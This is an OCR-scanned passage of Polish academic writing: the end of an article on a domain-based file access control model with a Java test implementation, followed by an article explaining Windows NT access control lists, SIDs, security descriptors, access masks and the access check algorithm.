W wielu systemach istnieje taka mozliwos¢ bazujaca na dziedzicze-
niu przez plik praw z katalogu, w ktérym si¢ znajduje. Jest to réwniez
szczegollny przypadek podejscia domenowego, w ktérym z kazdym kata-
logiem zwigzana jest domena okreélajaca prawa do plikow w katalogu.
Jednak proponowane podejécie, ktore zaklada odseparowanie grup plikow
od fizycznej struktury katalogdw, ma t¢ zaletg, ze pozwala na faczne ma-
nipulowanie prawami do plikow, ktére czesto muszag znajdowac S1¢
w r6znych katalogach.

W przedstawionym modelu nie ma rozréznienia na ,,zwylde role
i role administracyjne. Kazda rola moze mie¢ przyporzadkowane prawa
administracyjne. Pod wzgledem funkcjonalnosci jest to podejscie réwno-
wazne zastosowanemu w RBAC, gdyz kazda rol¢ modelu domenowego
mozna symulowa¢ w modelu RBAC za pomocag pary rol: zwyklej
i administracyjnej, natomiast rola czy rola administracyjna RBAC jest po
prostu rolg modelu domenowego.

Wyrdznienie w RBAC rdl administracyjnych spowodowane bylo
wprowadzonym mechanizmem hierarchizacji rél oraz ograniczen. Ponie-
waz w naszym modelu nie rozwazamy tego typu konstrukcji, sklaniajac
si¢ raczej ku wersji modelu przystosowanej do ewentualnego uzycia ne-
gatywnych praw, nie bylo potrzebne uwzglednianie wymagan stawianych
przez te mechanizmy.

Waznym zagadnieniem jest zlozono$¢ obliczeniowa podstawowej
operacji systemu, jaka jest obliczenie efektywnych praw podmiotu do
obiektu. Majac dany podmiot, znalezienie jego wlasciciela (za pomoca
funkeji ¢) mozna dokonaé w czasie statym. Prawa plikowe obliczamy za
pomocy funkcji Hr, sumujac po wszystkich rolach i domenach. Najgor-
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szym przypadkiem jest mozliwos¢, gdy dany uzytkownik pelni wszystkie
role, a obiekt znajduje si¢ we wszystkich domenach. Pesymistyczna zto-
zonos¢ procesu obliczenia praw wynosi wige

O(n, -ny) )
gdzie n, jest liczbg rdl, a ny jest liczbg domen. Podczas znajdowania
zbioru praw administracyjnych sumujemy tylko po rolach, zatem ztozo-
nos¢ tego procesu wynosi O(#,).

4. Testowa implementacja systemu

W celu praktycznego zbadania uzytecznosci zdefiniowanego modelu
zostal on uzyty jako podstawa wirtualnego systemu plikéw. System ten,
pracujac w architekturze klient — serwer, udostgpnia ushuge zdalnego
przechowywania plikow i wspoldzielenia ich z innymi uzytkownikami
systemu. Zdecydowano si¢ na implementacje systemu w jezyku
Java [4, 16], wysokopoziomowym, udostgpniajacym w pelni obiektowe
podejscie oraz wicle wygodnych mechanizméw stuzacych tworzeniu
oprogramowania zorientowanego sieciowo.

4.1. Odwzorowanie element6w modelu w klasy

System zostal zaprojektowany obiektowo, jako zbidr wspoldziatajacych
ze sobg klas reprezentujacych logicznie odrgbne czg$ci programu.
Obrazuje to rys. 3.

il nawiazanie potaczenia r

komunikacja
przez sie¢

FSSession |

R e T

FSClient f

e T

r FileSystem 3

bezposredni dostep i 4
do danych O 3
FSObjects e Q

Rys. 3. Schemat dzialania systemu z podzialem na klasy
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Klasa FSServer reprezentuje serwer ustugi, ktéry po uruchomieniu
oczekuje na ustalonym porcie na przychodzace polaczenia. Po nawigzaniu
potaczenia tworzony jest nowy obiekt klasy FSSession. Jego pierw-
szym zadaniem jest uwierzytelnienie taczacego si¢ klienta. Gdy powie-
dzie si¢ ono, obiekt ten, reprezentujgcy podmiot modelu, moze inter-
pretowac przychodzace przez sie¢ polecenia i przeklada¢ je na odpowied-
nie wywolania metod klasy FileSystem. W wypadku, gdy uwierzytel-
nienie nie powiedzie si¢, polaczenie sieciowe jest zamykane, a obiekt jest
niszczony.

Najwazniejszym elementem systemu zawierajacym caly mechanizm
kontroli dostepu jest klasa FileSystem, ktéra udostgpnia interfejs po-
zwalajacy na postugiwanie si¢ mechanizmem kontroli dostepu.

Oddziela ona zbiér obiektéw systemu (plikéw) od podmiotdw, ktdre
chca mie¢ do nich dostep, i w zaleznosci od konfiguracji systemu ochrony
(zbiory zarejestrowanych uzytkownikdéw, domen, rél iodpowiednich
przypisan uzytkownicy — role i role — domeny — prawa) decyduje, czy po-
zytywnie, czy negatywnie, odpowiedzieé na zadanie dost¢pu do danych.

Elementy teoretycznego modelu, takie jak uzytkownik, domena, rola,
zbior uprawnien, zostaly bezposrednio odwzorowane na klasy, co przed-
stawia tab. 1. Wiekszoé¢ z nich jest uzywana jedynie w klasie File-
System. Wyjatkiem jest FSUser, ktory stuzy réwniez do identyfiko-
wania, na rzecz jakiego uzytkownika stworzono dang sesj¢.

Tab. 1. Odwzerowanie elementow modelu w klasy

element modelu odwzorowujgca klasa ]
obiekt FSObject |
domena FSDomain g
rola FSRole
| zbiér praw FSPermission
podmiot FSSession

Podejscie takie zapewnia przejrzystos¢ kodu, a takze odpowiednig
elastycznos$é na potrzeby przysziej rozbudowy systemu. Jezeli okaze sig,
ze ktory$ element systemu nie odpowiada rzeczywistym potrzebom, wy-
starczy zmieni¢ implementacj¢ jednej klasy, reszta programu nie bgdzie
wymagata poprawek.
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4.2. Kierunki dalszego rozwoju

Przedstawiony model i jego implementacja nie s oczywiscie wersja
finalng, lecz raczej podstawa do dalszych prac nad mechanizmami kon-
troli dostgpu.

Zasadniczym kierunkiem rozwoju jest przystosowanie mechanizmu
kontroli dostepu do dzialania w $rodowisku rozproszonym, gdyz takie
wymagania stawia obecnie rozwdj nie tylko Internetu, ale réwniez gwal-
towna ekspansja coraz bardziej zaawansowanych i uniwersalnych urza-
dzen przeno$nych.

Niezbedne jest wigc przede wszystkim wyposazenie mechanizmu
w metody silnego uwierzytelniania, opartego na certyfikatach, gdyz bazowa-
nie na przesylaniu hasel nie jest oczywiscie rozwigzaniem bezpiecznym. Do
tej pory decyzja o przyznaniu badz odmowie dostepu do okreslonego zasobu
odbywala sie centralnie poprzez odwolanie do serwera. Jednak przyznawanie
certyfikatow uzytkownikom systemu pozwolilyby na oparcie mechanizmu
kontroli dostepu na listach mozliwosci, wydawanych przez uprawnione
centra autoryzacji. Wowczas chronione zasoby moglyby znajdowac si¢ nie
na jednym, lecz na wielu serwerach wystawiajacych certyfikaty i wzajemnie
ufajacych wydanym przez siebie listom mozliwoscl.

Kolejnym zadaniem jest zapewnienie poufhosci transmitowanych
danych poprzez ich szyfrowanie. Najprostszym rozwigzaniem byloby za-
stosowanie polaczen poprzez gniazda SSL, jednak wtedy potrzebny juz
bedzie specjalizowany klient. Wowezas by¢ moze lepszym rozwigzaniem
bedzie nowa implementacja calego modelu przystosowujaca go do tech-
nologii RMI, gdzie szyfrowanie i deszyfrowanie danych bedzie realizo-
wane w sposob przezroczysty w procesie serializacji i deserializacji.

Od strony teoretycznej zaproponowany model, podobnie jak i mo-
dele RBAC, wymaga pracy w kierunku przebadania cech bezpieczenstwa
i wyodrebnienia konstrukcji bezpiecznych wedlug pewnych kryteridw.
Istnieje potrzeba znalezienia algorytméw i metod, dzigki ktorym bedzie
mozna oddzielaé modele, ktérych parametry spelniajq zalozenia konkret-
nych polityk bezpieczenstwa, od tych, ktére nie sq w stanie zapewni¢ wy-
maganego poziomu bezpieczenstwa.
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Kontrola dostepu do obiektow
w systemach technologii NT

Michat Samczyk

Jednym z istotnych elementéw wplywajacych na bezpieczenstwo
systemOw NT jest mechanizm przyznawania okre$lonych uprawnien do
zasobOw sytemu na poziomie poszczegdlnych uzytkownikéw i tworzo-
nych przez nich grup — mechanizm realizowany przez tzw. listy kontroli
dostegpu ACL (ang. access control list). Nadawanie poszczegélnych praw
poszczegblnym uzytkownikom najczesciej realizowane jest poprzez stan-
dardowe, dostarczone przez Microsoft, narzedzia. Dostep do pli-
kow/katalogéw definiujemy poprzez karte¢ Wiasciwosci, za§ prawa do
poszczegllnych kluczy rejestru za pomoca wchodzacego w skiad
wszystkich systemow NT edytora regedt32. Mechanizmom tym nie
mozna na pewno zarzuci¢ zadnych bledéw w implementacji — nie istnieje
jednak mozliwos¢ pozwalajaca np. na automatyzacje nadawania praw,
wyszukiwania zasobéw z zadang lista uprawnien czy tworzenia szablo-
noéw list dostepu, ktore w szybki i latwy sposéb mozna by wykorzystag.

1. Listy kontroli dostepu w systemach NT

Wraz z systemem Windows NT 3.1 pojawit si¢ nowy system plikow
— NTFS (ang. new technology file system). Jedng z cech odrdzniajacg go
od swojego poprzednika FAT (ang. file allocation table) jest traktowanie
wszystkich zasobow systemowych (ang. system resources) jako abstrak-
cyjnej struktury danych zwanej obiektem (ang. object) [5]. Dzieki temu
kazda struktura poza istotnymi danymi moze zawieraé dodatkowe infor-
macje. Stworzylo to mozliwos$¢ skojarzenia z kazdym obiektem listy praw
dostgpu do zasobu reprezentowanego przez dany obiekt. Mechanizm ten
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zwigzany jest nie tyle z samym systemem NT, ile z systemem plikéw
NTEFS. Systemy NT moga by¢ instalowane zaréwno na partycjach NTFS,
jak i FAT', jednakze tylko w tym pierwszym wypadku istnieje mozliwosé
okreslania praw dostgpu do zasobow na poziomie poszczegdlnych
uzytkownikow. Wraz z systemem Windows 2000 pojawil si¢ nowy typ
partycji (nieobstugiwany przez NT w wersji 4.0) — NTFS5%. Poniewaz
implementacja mechanizmu zabezpieczetn w odniesieniu do list ACL po-
zostala niezmieniona, nie bgdziemy stosowaé rozréznienia migdzy syste-
mami plikéw NTFS i NTFSS.

W dalszej czesci artykutu mianem systemu NT okres$la¢ bedziemy
dowolny z trzech systeméw Windows: NT 4.0, 2000 badz XP w wersji
Professional. Poprzez obiekt bedziemy rozumieé plik/katalog lub klucz
rejestru zlokalizowany na partycji NTFS. Klucze rejestru przechowywane
saq na glownej (systemowej) partycji systemu w postaci plikow hive
zwanych tez rojami [8], wiec kazdy klucz traktowany jest jako element
(obiekt) partycji systemowej. Z tego wzgledu korzystanie z mechanizmu
nadawania uprawnien do kluczy rejestru mozliwe jest jedynie w syste-
mach zainstalowanych na partycji NTFS. W wypadku pliku/katalogu
decyduje o tym typ zawierajacej go partycji.

Dalej przedstawimy zasade dziatania mechanizmu przyznajacego badz
odmawiajacego dostep do okreslonego zasobu. W tym celu wprowadzimy
kilka pojec¢ zwigzanych bezposrednio z implementacija systemu zabezpieczen
NT i jednoczesnie nieobecnych w systemach Windows 9x, Me 1 XP Home.

2. Identyfikator bezpieczenstwa SID

Z kazdym kontem w systemie NT, reprezentujacym uzytkownika
badz grupe, skojarzony jest numer SID (ang. security identifier), zwany
identyfikatorem bezpieczenstwa. Generowany on jest podczas tworzenia
nowego konta w systemie i jednoznacznie identyfikuje je przez caly czas
istnienia. Zmiana nazwy konta, jego hasta czy jakichkolwiek innych
ustawien nie powoduje zmiany skojarzonego z nim identyfikatora bez-
pieczenstwa — pozostaje on niezmienny od czasu utworzenia odpowiada-

' System NT w wersji 4.0 obshuguje jedynie starszy typ FAT — FAT16. Obsluga
FAT32 zostala zaimplementowana w systemie Windows 2000 i odziedziczona przez
system XP Professional.

2 Nazwa NTFS5 wywodzi si¢ od zapowiadanej przez Microsoft nazwy nowego
systemu. Jako nastgpca NT 4.0, nowy system miat zosta¢ nazwany NT 5.0.
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jacego mu konta, az do jego usunigcia. Identyfikacja konta za pomoca
numeréw SID (a nie za pomoca pary nazwa-haslo) eliminuje mozliwos¢
odziedziczenia uprawnien w przypadku usunigcia konta i poZniejszego
utworzenia konta o tej samej nazwie i hasle. Struktura identyfikatora SID
ma nastgpujaca postaé:

S-1-X-Y,-Y,-...-Y -

Przedrostek S —1 wskazuje, Ze jest to pierwsza wersja identyfikatora
(ang. Revision 1). Jest to jak do tej pory jedyna wersja identyfikatorow —
poczawszy od systemu NT w wersji 4.0, az do systemu XP Professional
wlacznie — struktura identyfikatoréw SID pozostala niezmieniona. War-
tod¢ X jest 48-bitowym identyfikatorem wskazujacym na jednostke,
ktéra wyemitowata SID — bedzie to w zaleznosci od typu konta domena

lub lokalna nazwa komputera. Wartosci 1;, 1>0 to tzw. identyfikatory
pomocnicze, za$ ostatnia wartos¢ Y to warto$é identyfikatora wzgled-
nego RID (ang. relative identifier). Wartosci identyfikatorow wzglednych
wykorzystywane sa w celu wygenerowania unikatowych identyfikatorow
SID dla kont tego samego pochodzenia (kont lokalnych badZ nalezacych

do tej samej domeny), gdzie wszystkie cztony X oraz ¥; sa identyczne.
W tym wypadku system tworzy konta o kolejnych wartosciach identyfi-
katora wzglednego Y, poczynajac od wartosci 1000 i zwiekszajac te war-
tos¢ kazdorazowo podczas dodawania konta do systemu [7]. Podkreslmy,
ze ,,luki” w numeracji powstate na skutek usuwania kont nie sa wypel-
niane. Eliminuje to mozliwo$¢ ,,podszycia si¢” nowo utworzonego konta
pod konto usunigte. Sytuacje t¢ wyjasnia ponizszy przyklad.

Przyklad 1

Zatézmy, ze w systemie istniejg trzy lokalne konta o kolejnych
identyfikatorach wzglednych: 1000, 1001 1 1002. Jako konta tego samego
pochodzenia, identyfikowane sa poprzez numery SID o identycznych
wartosciach X oraz ¥;. Zalézmy takze, ze do jakiego$ zasobu (np. pliku)
utworzyliSmy prawo dostepu dla drugiego konta (o identyfikatorze
wzglednym réwnym 1001) — pefna kontrola. Po usunigciu tego konta
z systemu powstanie luka w numeracji identyfikatoréw wzglednych —
wazne pozostang identyfikatory S —1-X =Y, =Y, —...= ¥, =1000 oraz
S-1-X-Y,-Y,-...-Y, 1002 W takiej sytuacji nowe konto otrzy-
ma identyfikator 1003, a nie wolny 1001. Nalezy pamigtac, ze nawet po
usunigciu konta z systemu na liscie praw dostgpu do rozpatrywanego
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powyzej obiektu pozostaje jego numer SID i odpowiadajace mu prawo —
w tym wypadku pefna kontrola. Jesli nowe konto otrzymaloby identyfi-
kator wzgledny o wartosci 1001, jego numer SID bylby identyczny z nu-
merem usunigtego konta, przez co nieprawnie uzyskatoby ono dostep do
rozpatrywanego obiektu.

3. Deskryptor bezpieczenstwa

Z kazdym obiektem partycji NTFS skojarzona jest pewna informacja
dotyczaca jego zabezpieczen. Nieinterpretowany ciag bitdéw bedacy in-
formacjg o zabezpieczeniach danego obiektu systemu NT okresla sie
mianem deskryptora bezpieczenstwa (ang. security descriptor) [5].
W jego sklad wchodzi zawsze numer SID konta bgdacego wiascicielem
obiektu (ang. owner SID) i numer SID gltéwnej grupy obiektu (ang. pri-
mary group SID). Dodatkowo deskryptor bezpieczenstwa moze zawieraé
do dwoch list kontroli dostgpu ACL (ang. access control list) — przecho-
wujacq informacje o prawach dostepu do obiektu i probach-ich uzyskania,
ktére majg by¢ zapisywane w dzienniku systemowym.

Numer SID witasciciela wskazuje na konto, ktéremu system zawsze
przyznaje prawo zmiany atrybutow bezpieczenstwa danego obiektu, na-
wet w wypadku jawnego zabronienia dost¢pu do niego. Ma to na celu
wyeliminowanie sytuacji istnienia obiektu, do ktérego zaden uzytkownik
nie ma dost¢pu. Sytuacja taka moglaby sig¢ zdarzy¢ w wypadku nieumysl-
nego odebrania praw dostgpu do obiektu kontu bgdacemu jego wihasci-
cielem (np. ustawienie praw: grupa Wszyscy tylko prawo odczytu).
Jednym z praw, ktére mozemy okresla¢ dla kazdego typu obiektu, jest
prawo przejecia go na wiasnos$¢ (ang. take ownership). Przyznanie tego
prawa danemu kontu pozwala mu przejaé dany obiekt (staé si¢ jego wia-
Scicielem), co z kolei uprawnia do okreslania praw dost¢pu do niego dla
poszczegdlnych uzytkownikéw. Prawo takie zawsze posiada grupa Ad-
ministratoréw. Sytuacje taka mozna thumaczy¢ dwojako: po pierwsze, za-
den z uzytkownikéw nie powinien posiadaé dostepu w jakimkolwiek
aspekcie szerszym niz Administrator. Sytuacja taka moglaby mie¢ miej-
sce w wypadku utworzenia przez uzytkownika dowolnego obiektu (np.
pliku) i ustawienia prawa dla grupy Administratoréw — brak dostgpu. Po
drugie, eliminuje to sytuacje, gdy obiekt stawatby si¢ niedostepny w przy-
padku usuniecia z systemu konta bedgcego jego (obiektu) wlascicielem.

Opcjonalnie deskryptor bezpieczenstwa moze zawieraé¢ do dwoch list
kontroli dostgpu ACL. Listy ACL sa zbiorem praw dost¢pu do obiektu
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dla poszczegdlnych uzytkownikéw i grup, na podstawie ktérych system

przyznaje badZ odmawia dostepu do obiektu. Skladaja si¢ one z 7, 72 0

wpiséw kontroli dostepu ACE (ang. access control entries), z ktérych

kazdy opisuje prawa dostepu dla jednego konta badz grupy. Kazdy wpis

ACE zawiera nastepujace informacje:

o naglowek ACE (ang. ACE header) — informuje o typie i sposobie
interpretowania wpisu przez system — realizowane jest to na podsta-
wie znacznikow;
numer SID — okres$la konto, do ktérego odnosi sie dany wpis ACE;
maska dostepu (ang. access mask) — definiuje zbiér praw dostgpu do
obiektu, ktére opisuje dany ACE.

Maska dostepu jest 32-bitowg liczba calkowita bez znaku, bedaca
sumg bitowg znacznikow, z ktérych kazdy oznacza jakie$ prawo dostgpu
do obiektu. Znacznikiem nazywaé bedziemy dowolng liczbe, ktéra w za-
pisie dwdjkowym posiada dokladnie jedng jedynke. Takie podejscie po-
zwala w tatwy sposéb symulowaé typ zbiorowy. Korzystajac z operacji
sumy bitowej, mozna dodawaé poszczegdlne znaczniki do poczatkowe]
warto$ci zerowej, za$ za pomocg iloczynu bitowego maski 1 znacznika
reprezentujgcego dane prawo dostepu sprawdzaé, czy dane prawo nalezy
do zbioru praw specyfikowanych przez maske.

W systemach NT funkcjonuja dwa typy list ACL:

e DACL (ang. discretionary access control list) opisuje zbiér praw
dostepu do obiektu dla poszczegdlnych kont, na podstawie ktorych
system przyznaje badz odmawia dostep do obiektu;

e SACL (ang. system access control list) zawiera zbiér praw dostgpu
do obiektu dla poszczegdlnych uzytkownikéw, na podstawie ktérych
system zapisuje zdarzenia do dziennika systemowego.

W zwigzku z tym maske dostepu wymieniong jako element skladowy
wpisu ACE nalezy rozumie¢ wylacznie jako zbidr praw, bez jakiegokol-
wiek utozsamiania ich z rzeczywistym prawem uzyskania dostepu do
obiektu. To samo prawo definiujgce np. mozliwosé dopisywania danych
do pliku moze oznaczaé rzeczywistqg mozliwos¢ dopisywania danych,
odmowe tej czynnosci badz tez $ledzenie préb (udanych lub nie) usito-
wania dopisania danych. To, co naprawdg opisuje maska dost¢pu, zalezy
zaréwno od typu listy (DACL badZ SACL), ktérej elementem jest zawie-
rajacy dana maske ACE, jak réwniez od typu wpisu.

Systemy NT obstuguja trzy typy wpisow ACE, z ktérych kazdy opi-
sany jest za pomoca osmiobitowej liczby catkowitej bez znaku:
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Tab. 1. Typy wpisow kontroli dostepu ACE

Znacz- Dotyczy

Nazwa typu ACE nik listy Znaczenie
ACCESS ALLOWED definiuje prawa dostepu do obiektu, kt(:\re
ACE TYPE 0 DACL  system przyznaje na rzecz konta odpowia-
solilka dajacego numerowi SID danego wpisu
ACCESS DENIED ) definiuje prawa do§tcpu do obiektu, kto-
ACE TYPE 1 DACL  rych system odmawia na rzecz konta odpo-
S wiadajacego numerowi SID danego wpisu
definiuje prawa dostgpu do obiektu, kto-
SYSTEM AUDIT P SACL rych uzyskanie badz nieuzyskanie (w zale-
_ACE_TYPE znosci od znacznikéw wpisu) zostaje zapi-

sane w dzienniku zdarzen systemowych

Wpisy typu ACCESS DENIED ACE TYPE majg pierwszenstwo
przed wpisami typu ACCESS ALLOWED ACE TYPE. Dla przykladu,
jesli Administrator ma do danego obiektu prawo pelna kontrola i jedno-
czesnie nalezy do grupy G niemajacej do tego obiektu zadnego dostepu,
to ze wzgledu na czlonkostwo Administratora w grupie G nie uzyska on
dostepu do omawianego obiektu.

System NT 4.0 co prawda poprawnie obsluguje wpisy typu
ACCESS_DENIED ACE_TYPE, jednak nie oferuje mozliwodci edycji
list ACL zawwramcych wpisy tego typu (dotyczy to standardowych mecha-
nizmow edycji zabezpieczen dostarczanych wraz z systemem NT 4.0).

W wypadku, gdy z obiektem nie jest skojarzona lista DACL, kazdy
uzytkownik posiada pelne prawo dostepu do obiektu (jest to réwnowazne z
nadaniem obiektowi prawa Wszyscy — pelna kontrola). Z kolei gdy z
obiektem skojarzona jest pusta lista DACL (niezawierajaca zadnego ACE),
system odmawia wszelkiego dostgpu do obiektu kazdemu uzytkownikowi
(jest to réwnowazne z ustanowieniem prawa Wszyscy — brak dostepu). Z
punktu widzenia list SACL obiekt nieposiadajacy systemowe;j listy kontroli
dostepu, jest traktowany identycznie jak obiekt, z ktérym skojarzona jest
pusta lista SACL — w obu wypadkach system nie rejestruje zadnych préb
(ani udanych, ani nieudanych) uzyskania dostgpu do obiektu.

4. Rodzaje praw dostepu w systemach NT

W systemach NT poszczegdlne prawa dostepu podzielone zostaty na
trzy grupy [2]:
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standardowe prawa dostepu (ang. standard access rights) — zbior
praw wspolnych dla wszystkich typoéw obiektéw obshugiwanych
przez system;

Sciste prawa dostepu (ang. specific access rights) — zbior poszczeg6l-
nych praw dostgpu do danego typu obiektu (np. prawo tworzenia
facza symbolicznego do klucza rejestru jest prawem zwigzanym
wylacznie z obiektami rejestru). Innymi stowy, jest to zbior
najbardziej szczegdtowych, zwigzanych z danym typem obiektu,
praw dostepu do niego;

ogblne prawa dostepu (ang. gemeric access rights) — polaczenie
dwoéch poprzednich typow. Jest to zbiér praw nazywanych w sposéb
wspolny dla wszystkich typdw obiektu, ale wymagajacych konwersji
do typu Scistych praw dostgpu (konwersja zajmuje si¢ aplikacja przy-
znajaca te prawa obicktowi). Wprowadzenie tego typu praw umozli-
wia przenoszenie masek dostepu pomigdzy réznymi systemami NT.
Dla przyktadu w systemie NT 4.0 na prawo GENERIC READ,
pozwalajace na odczyt danych z dowolnego typu obiektu, sklada sig
inny zbiér praw typu S$cistego (specific rights), niz ma to miejsce
w systemach Windows 2000/XP.

Do zbioru standardowych praw dostepu (standard access rights) na-

leza nastgpujace prawa:

DELETE — prawo usuwania obiektu;

SYNCHRONIZE — uprawnia proces do oczekiwania az obiekt umoz-
liwi wprowadzenie sygnalizowanego stanu;

READ_CONTROL - uprawnia do odczytu informacji o zabezpiecze-
niach obiektu. Dotyczy jedynie listy DACL. Niezaleznie od tego pra-
wa prawo odczytu informacji o inspekeji (lista SACL) ma wylacznie
system 1 grupa Administratoréw;

WRITE DAC — uprawnia do zmiany listy praw dostgpu do obiektu.
Dotyczy wytacznie listy DACL;

WRITE OWNER — uprawnia do przejecia obiektu na wlasnosc.

Zbidr Scistych praw dostepu (specific access rights) zalezy od kon-

kretnego typu obiektu. Inne prawa definiujg dostep do plikéw/katalogéw,
inne do kluczy rejestru. Niezaleznie od typu obiektu moze on posiadaé
najwyzej 16 zwiazanych ze sobg $cistych praw dostepu. Ograniczenie
liczby S$cistych praw dostgpu zwigzanych z poszczegblnymi typami
obiektow do szesnastu wyjasnia zdefiniowana przez Microsoft specyfi-
kacja masek uzywanych w systemach NT. Na pierwszych szesnastu bi-
tach (bity 0+15) zapisywane sa §ciste prawa dostepu (stad ograniczenie
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do szesnastu), na kolejnych siedmiu (bity 16+22) standardowe prawa
dostepu. Dwudziesty trzeci bit reprezentuje prawo ACCESS SYSTEM
__SECURITY oznaczajace dostgp do systemowych list SACL. ~Prawo to
uzywane jest wylacznie przez procesy i watki — informuje system, czy
dany proces lub watek ma dostep do systemowych list kontroli dostgpu.
Cztery ostatnie bity (28+31) przechowuja informacj¢ o ogélnych pra-
wach dostepu (generic access rights). Sq to kolejno prawa: GENERIC
_READ (uprawnia do odczytu informacji przechowywanych w obiekcie),
GENERIC WRITE (uprawnia do =zapisu informacji do obiektu),
GENERIC EXECUTE (uprawnia do wykonania operacji open na obiek-
cie) oraz GENERIC ALL (przyznaje pelny dostep do obiektu).
Bity 24+27 sg zarezerwowane przez system. W zwigzku z powyz-
szym struktura maski dostgpu w systemach NT wyglada nastepujaco [11]:

bity
131|30]29{28|27|...]24{23] 22 i 4 28 T8 1 see 1 B
| R | W | E| A |zarezerwowane| S standardowe prawa dostgpu|$ciste prawa dostgpu

(R, W, E, A oznaczajg prawa typu generic — odpowiednio GENERIC_READ, GENERIC WRITE,
GENERIC_EXECUTE, GENERIC_ALL, S oznacza prawo ACCESS_SYSTEM_SECURITY).

S. Ogélny algorytm przyznawania dost¢pu do obiektu

Zatozmy, ze uzytkownik probuje uzyska¢ dostep do obiektu. W ta-
kim wypadku system podejmuje nastepujace kroki [2, 9]:
1. Sprawdza, czy z obiektem skojarzona jest lista DACL. Jesli nie,
uzytkownikowi zostaje przyznany dostgp do obiektu, jesli tak, algo-
rytm jest kontynuowany.
Tworzona jest maska pozadanego dostgpu do obiektu — DAM (ang.
desired access mask), okreslajaca prawa niezbedne do wykonania
podjetej przez uzytkownika czynnog$ci na obiekcie.
3. Dla kolejnych wpiséw ACE poréwnywane sa numery SID zetonu
dostepu® procesu domagajacego si¢ dostgpu do obiektu, z numerami
SID wpiséw ACE w sposéb nastepujacy:

o

3 Zeton dostepu (ang. security access token) tworzony jest przy kazdym logowaniu
do systemu NT. Zawiera on miedzy innymi numery SID wszystkich grup, do jakich
nalezy aktualnie zalogowany uzytkownik, oraz prawa systemowe (np. mozliwos¢ zamy-
kania systemu) wynikajace z przynaleznosci uzytkownika do poszczegdlnych grup [6].
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3.1. jesli wszystkie ACE zostaly sprawdzone, a warto§¢ maski DAM
jest rézna od zera, nastgpuje przejscie do punktu 4;

3.2. jesli numer SID wpisu ACE nie zgadza sie z zadnym numerem
SID Zetonu dostepu, wpis ACE jest pomijany i algorytm jest
kontynuowany z punktu trzeciego;

3.3. jesli numer SID wpisu ACE zgadza si¢ z ktérym$ z numerd
SID zetonu dostepu, to: '
3.3.1. jedli wpis ACE jest typu ACCESS ALLOWED ACE TYPE,

pod pozgdang maske dostepu podstawiana jest warto$é

DAM and not AceMask,
gdzie AceMask jest maska dostgpu danego ACE, zas
operatory and i1 not oznaczajg odpowiednio iloczyn i
negacje bitowa. Jesli wartos¢ AceMask jest rowna zero,
uzytkownik otrzymuje prawo dost¢pu do obiektu i algo-
rytm jest przerywany;

3.3.2. jesli wpis jest typu ACCESS DENIED ACE TYPE

i wyrazenie

DAM and not AceMask,
gdzie AceMask jest maska dostgpu danego ACE, jest
rézne od zera, nastgpuje przejscie do punktu 4.

4. Sprawdzane jest, czy maska pozadanego dostepu DAM okresla jedno pra-
wo WRITE DAC. Jesdli tak, system sprawdza, czy uzytkownik jest wias-
cicielem obiektu lub czlonkiem grupy Administratoréw. Jezeli uzyt-
kownik jest wlascicielem lub czlonkiem grupy Administratoréw, to otrzy-
muje dostep do obiektu, w przeciwnym razie dostep jest zabroniony.
Tworzona przy probie uzyskania dostepu do obiektu maska DAM to

ciag zer 1 jedynek opisujacy zadany dostep do obiektu, innymi stowy, jest

to suma bitowa znacznikéw reprezentujacych poszczegdlne, wymagane
uprawnienia. W punkcie 3.3.1 podanego algorytmu obliczana warto$¢

DAM and not AceMask ma na celu wyzerowanie w masce pozadane-

go dostgpu DAM tych bitow, ktére odpowiadajg prawom dostgpu uzyska-

nym na podstawie przejrzanych wpisow ACE. W ten spos6b maska DAM
opisuje w kazdym momencie wykonywania algorytmu tylko te wymaga-
ne prawa, ktére nie zostaly jeszcze odnalezione. Zerowa warto$¢ maski

DAM oznacza, ze wszystkie zgdane pierwotnic prawa zostaty zdefiniowa-

ne jako przyznane. Rozpatrzmy wyrazeniec DAM and not AceMask

ze wzgledu na mozliwe wartosci jednego, ustalonego bitu (patrz tab. 2).
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Z podanego algorytmu wynika, ze aby wpisy typu ACCESS-
_DENIED ACE_TYPE mialy przewage nad wpisami ACCESS_ALLOWED
_ACE_TYPE muszg by¢ umieszczane jako pierwsze elementy listy ACL.
W przeciwnym razie moze si¢ zdarzyé, ze wpis przyznajacy dostep bedzie
mial wyzszy priorytet niz wpis odmawiajacy dostepu. Dla przykladu, jesli
jako pierwszy wpis listy ACL umiedcimy wpis typu ACCESS ALLOWED
_ACE_TYPE przyznajacy grupie Wszyscy prawo — pefna kontrola, a za
nim wpis typu ACCESS _DENIED ACE_TYPE okreslony jako Uzytkow-
nik U — brak dostepu, to system, analizujac pierwszy wpis, wyzeruje maske
DAM (patrz punkt 3.3.1 algorytmu) iprzerwie algorytm, przyznajac
uzytkownikowi U dostep do skojarzonego z omawiang lista obiektu. Dla-
tego wpisy odmawiajace dostepu nalezy umieszczaé na liscie jako pierw-
sze. Definiujac uprawnienia za pomoca karty Wiasciwosci — Zabezpie-
czenia, system sam sortuje wpisy w nalezytym porzadku. Wykorzystujac
do definiowania uprawnien funkcje API, programista sam musi zadbaé
o whasciwy porzadek wpiséw ACE.

Tab. 2. Warto$ci DAM i AceMask
w ogdélnym algorytmie przyznawania dostepu

DAM
DAM AceMask and not Komentarz
AceMask
0 0 0 zero w masce pozadanego dostgpu DAM oznacza, Ze prawo
dostgpu reprezentowane przez dany bit nie jest wymagane
" . . badz zostalo juz uzyskane — warto$¢ bitu w masce DAM po-

zostaje niezmieniona

prawo reprezentowane przez dany bit maski DAM jest wy-
magane, ale biezacy ACE nie definiuje go jako przyznanego
(allowed) — wartos¢ bitu maski DAM bez zmian. Zauwazmy,
1 0 1 ze nie jest to przypadek odmowy (denied) prawa dostepu,
kiedy to algorytm powinien zostaé przerwany. Punkt 3.3.1
algorytmu zaklada, ze mamy do czynienia z wpisem typu
ACCESS ALLOWED ACE TYPE
prawo reprezentowane przez dany bit maski DAM jest wyma-
1 1 0 gane, a biezacy ACE definiuje je jako przyznane (allowed) —
warto$¢ bitu maski DAM zmieniona na zero

6. Znaczniki kontroli dost¢pu

Dla rdéznych typow obiektéw okreslone zostaly rézne zbiory praw
dostepu, ktore mozna im przypisaé, przy czym zbiory te nie sg roziaczne.
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Prawa dostepu dla kluczy rejestru mozna podejrze¢, wywolujac okno za-
bezpieczen dowolnego klucza (np. za pomocg dolgczonego do wszystkich
wers]i systemoéw NT edytora regedt32) i wybierajac opcje Zaawanso-
wane'. Mimo nieco innego nazewnictwa w oknach dialogowych kolejne
prawa w systemie NT 4.0 odpowiadaja kolejnym prawom w systemach
